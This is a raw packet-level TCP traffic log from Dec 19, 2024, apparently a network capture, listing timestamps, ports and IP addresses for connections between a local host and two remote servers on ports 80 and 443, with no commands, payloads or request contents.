Dec 19, 2024 16:10:29.216643095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.216650963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.216795921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.217400074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.217559099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.217585087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.218337059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.218417883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.218461990 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.218482971 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.218496084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.218525887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.218527079 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.218539953 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.218549967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.218569040 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.219120026 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.219394922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.219408035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.220031977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.220376968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.220581055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.220601082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.221138000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.221330881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.221385956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.221451998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.221987009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.222274065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.222513914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.222621918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.223371983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.223445892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.223488092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.223575115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.224304914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.224467039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.225244045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.225275993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.225445986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.225776911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.226227999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.226246119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.226428986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.227215052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.227425098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.227463961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230350018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.230856895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230870962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230882883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230895996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230916023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.230952024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.230966091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.230976105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.231000900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.231575966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.235559940 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.235589027 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.235655069 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.235655069 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.235666037 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.235917091 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.244214058 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.244242907 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.246251106 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.246251106 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.246272087 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.248619080 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.251616001 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.251636982 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.254620075 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.254632950 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.254755974 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.264667988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.264688969 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.264791012 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.264800072 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.264839888 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.265172958 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.272974968 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.273004055 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.273049116 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.273138046 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.274236917 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.274236917 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.274652958 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.274652958 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.281721115 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.281748056 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.281848907 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.281848907 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.281857014 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.282141924 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.295963049 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.295981884 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.296087027 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.296087980 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.296094894 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.296189070 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.371974945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.372092962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.372271061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.372375011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.372611046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.372668982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.372739077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.372872114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.373198986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.373276949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.373507977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.374833107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.375098944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.375113010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.375125885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.375139952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.375150919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.375233889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.375869036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.375994921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.376197100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.376255989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.376425982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.376617908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.376862049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.376981020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.377466917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.377775908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.377808094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.378427982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.378456116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.378648996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.378961086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.379097939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.379473925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.379654884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.379842043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.380261898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.380424023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.380609989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.380635023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.380744934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.381530046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.381699085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.381726980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.382384062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.382414103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.382502079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.382560968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.383460999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.383687973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.383804083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.384119987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.384499073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.384512901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.384574890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.384574890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.385380030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.385556936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.385579109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.385663986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.386440992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.386620998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.386622906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.386764050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.387289047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.387358904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.387464046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.387741089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.388427019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.388485909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.388583899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.388670921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.389193058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.389375925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.389444113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.390280008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.390294075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.390382051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.391258955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.391366959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.391403913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.391474962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.392153978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.392208099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.392328024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.392767906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.393311024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.393325090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.393436909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.394181013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.394362926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.394391060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.394459009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.395262003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.395277023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.395822048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.396213055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.396352053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.396390915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.396470070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.397244930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.397346973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.397356987 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.397382021 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.397384882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.397464037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.397469997 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.397469997 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.397495985 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.398230076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.398245096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.398293018 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.398386955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.398559093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.398672104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.398916006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.399105072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.401017904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.401184082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.401218891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.402117968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.402246952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.402592897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.402640104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.402652979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.402673006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.402738094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.403116941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.403280973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.403331041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.403559923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.404273033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.404287100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.404347897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.404434919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.405069113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.405392885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.405574083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.405778885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.406106949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.406265020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.406294107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.406306982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.406934023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.407113075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.407331944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.407934904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.407989979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.408121109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.408219099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.409127951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.409182072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.409276009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.409373999 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.409392118 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.409403086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.409722090 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.409732103 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.410121918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.410182953 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.410185099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.410293102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.410389900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.411434889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.411448956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.411850929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.412208080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.412225008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.412275076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.412275076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.412903070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.413047075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.413073063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.413352966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.413875103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.414016008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.414073944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.414143085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.414902925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.414958954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.415059090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.415945053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.415960073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.416656971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.416728020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.416796923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.416877985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.416930914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.417721033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.417799950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.417844057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.418638945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.418838024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.419063091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.419209957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.419380903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.419719934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.420073986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.420144081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.420144081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.420312881 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.420332909 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.420417070 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.420417070 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.420429945 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.420706987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.420778036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.420792103 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.421022892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.421194077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.421704054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.421715975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.421901941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.422707081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.422719955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.423103094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.427105904 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.427138090 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.427251101 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.427251101 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.427259922 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.427448988 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.435007095 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.435041904 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.435151100 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.435151100 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.435164928 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.435250998 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.440785885 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.440820932 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.440942049 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.440942049 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.440952063 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.441076994 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.447645903 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.447666883 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.447757006 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.447757006 CET	49888	443	192.168.2.6	185.199.109.133
